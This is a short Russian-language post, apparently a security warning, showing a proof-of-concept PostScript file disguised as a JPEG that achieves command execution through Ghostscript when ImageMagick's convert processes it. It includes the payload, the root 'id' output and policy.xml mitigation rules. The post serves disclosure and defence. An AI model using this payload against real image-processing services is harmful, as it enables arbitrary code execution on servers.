root@server:/tmp# cat > shell.jpeg
%!PS
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%id) currentdevice putdeviceprops
root@server:/tmp# convert shell.jpeg out.gif
uid=0(root) gid=0(root) groups=0(root)
convert: FailedToExecuteCommand `"gs" -q -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 "-sDEVICE=pngalpha" -dTextAlphaBits=4 -dGraphicsAlphaBits=4 "-r72x72" -g612x792 "-sOutputFile=/tmp/magick-13469GmEmsqWiRLpA%d" "-f/tmp/magick-13469JNjF1anuC6Oz" "-f/tmp/magick-134690t_fjcIR9wez" -c showpage' (-1) @ error/delegate.c/ExternalDelegateCommand/461.
convert: no images defined `out.gif' @ error/convert.c/ConvertImageCommand/3210.Кто не понял - если зафигачить специально сформированный файлик и подсунуть его convert'у, то можно выполнить произвольный код в системе. Тест выше был проведен на ubuntu 16.04 с apt-get install imagemagick.
Если у вас есть какой-либо бекграунд процессинг картинок imagemagick'ом, особенно тех, которые загружаются пользователями - советую подкорретировать policy.xml и добавить туда:
<p
olicy domain="coder" rights="none" pattern="PS" />
<policy domain="coder" rights="none" pattern="EPS" />
<policy domain="coder" rights="none" pattern="PDF" />
<policy domain="coder" rights="none" pattern="XPS" />
Это конечно не remote code execution в nginx, но все же достаточно популярная тулза, которая используется в бекграунд процессинге. Так что советую обратить на это внимание. Больше информации доступно здесь: http://www.openwall.com/lists/oss-security/2018/08/21/2